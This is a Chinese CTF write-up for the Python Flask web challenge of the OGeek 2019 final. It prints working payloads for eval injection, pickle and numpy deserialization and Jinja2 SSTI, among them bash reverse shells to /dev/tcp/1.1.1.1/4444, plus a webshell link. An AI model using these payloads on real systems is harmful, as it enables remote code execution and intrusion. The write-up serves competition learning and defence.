Ogeek决赛python web部分

2019-10-17 约 327 字 预计阅读 2 分钟

声明:本文 【Ogeek决赛python web部分】 由作者 M09Ic 于 2019-10-17 09:16:01 首发 先知社区 曾经 浏览数 40 次

感谢 M09Ic 的辛苦付出!

前言

ogeek决赛已经过去大半个月,看到题目才想起来wp没写.

决赛一共有3道web题,php,java,python都有.但我的php和java代码审计水平有点菜,只能抱队友大腿折腾python这种漏洞比较明显的才勉强过得了日子.

赛制很友好,防守也能得分,最后大多数队伍防守分都是攻击分的两三倍.

题目源码:https://pan.baidu.com/s/1YgjnLu17KBr1KVMlymfsyw

复现

python的flask框架,比起php和java的几十上百个文件,python的代码就友好的多了.

主要逻辑都在app.py里面,python的漏洞也比较明显,web3是大多数队伍的主要攻击目标.

robots后门

见面就是一个简陋的后门,

@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', open('/flag','r').read(), as_attachment=True)

把flag放在robots.txt里,访问就可以拿到.

eval后门

def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)

定义了一个很奇怪的函数,一看就知道是刻意设置的后门,全局搜索哪里调用.

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        ...

        if len(msg)>27:
            return render_template('message.html', msg='留言太长了!', status='留言失败')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

看到message中有调用,且有简单限制,msg长度得小于27个字符且不能有空格和下划线,type只能输入一个字符

读flag的poc比较简单,payload如下:

post: type='&msg=%2bopen('/flag').read()%2b'

赛后花了不少时间思考能不能getshell,折腾半天终于成功,正好27个字符.

post: msg=%2Bos.popen("echo%09-n%09b>>a")%2B'&type='

简单分析payload,

首先需要通过python解释器,因此不能有语法错误,需要前后单引号以及+号闭合.

原本的app.py中已经导入os,帮了个大忙,可以使用os.popen()执行命令

不能有空格,但在bash中tab与空格等价url编码为%09

echo不输出换行符可使用参数-n.

请求后会报错,但实际上已写入文件.

依次写入反弹shell的payload:bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1',空格用tab代替.

最后post请求msg=%2Bos.popen("sh%09a")%2B'&type='即可执行代码反弹shell.

pickle反序列化

看到import了pickle这个库,第一反应就是python反序列化.

全局搜索pickle.

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info)
            username = info["name"]
        except Exception as e:
            print(e)
            username = "Guest"

        ...
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

大致逻辑是,如果是post请求,则获取cookie中的user字段,base64解码,并触发反序列化.

反弹shell的payload,需要base64编码:

cposix
system
p1
(S"bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1'"
p2
tp3
Rp4
.

如果要直接返回flag,得使返回值的类型为字典,且有name键.

numpy反序列化(CVE-2019-6446)

队里大佬找出来的,我都不知道numpy啥时候出了漏洞,.

这个洞非常坑,虽然找到了漏洞,也非常容易修复,但一改就被checkdown.

最后尝试使用replace替换黑名单关键字,但还是被人疯狂拿分.也可能是没发现的其他漏洞.

@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')

因为numpy的loads方法调用的也是pickle,因此pickle的payload还是可以用.

payload: post提交:

matrix1=Y3Bvc2l4CnN5c3RlbQpwMQooUyJiYXNoIC1jICdiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjU4LjEvNDQ0NCAwPiYxJyIKcDIKdHAzClJwNAou&matrix2=MQ==

同样会报错,但是能成功反弹shell.

Jinja2.from_string SSTI

也是今年新洞

https://www.exploit-db.com/exploits/46386

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)

data处使用了 Jinja2.from_string直接拼接字符串,存在ssti.

poc 需要base64编码填入在cookie的username字段,还因为是python3 一些payload不能使用.

读flag:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}222 c.__init__.__globals__['__builtins__'].open('\\flag', 'r').read() }}{% endif %}{% endfor %}

执行命令:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}222c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

flask日志记录

flask本身的日志功能并不能满足AWD的需求,就随手写了一个.比赛中是用队里大佬临时写的,赛后重新写了一个

def awdlog():
    import time
    f = open('/tmp/log.txt','a+')
    f.writelines(time.strftime('%Y-%m-%d %H:%M:%S\n', time.localtime(time.time())))
    f.writelines("{method} {url} \n".format(method=request.method,url=request.url))
    s = ''
    for d,v in dict(request.headers).items():
        s += "%s: %s\n"%(d,v)
    f.writelines(s+'\n')
    s = ''
    for d,v in dict(request.form).items():
        s += "%s=%s&"%(d,v)
    f.writelines(s.strip("&"))
    f.writelines('\n\n')
    f.close()

因为python这题check比较严格,上了waf一直被checkdown,所以没写waf.不过和php的道理是一样的.

python webshell

比赛中虽然没用上,可以准备着,万一哪次就用到了.

https://github.com/evilcos/python-webshell/blob/master/webllehs.py

小结

java题 writeup : 一叶飘零师傅写的2019 OGeek Final & Java Web

php题writeup: xmsec师傅写的ogeek-ozero-wp

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now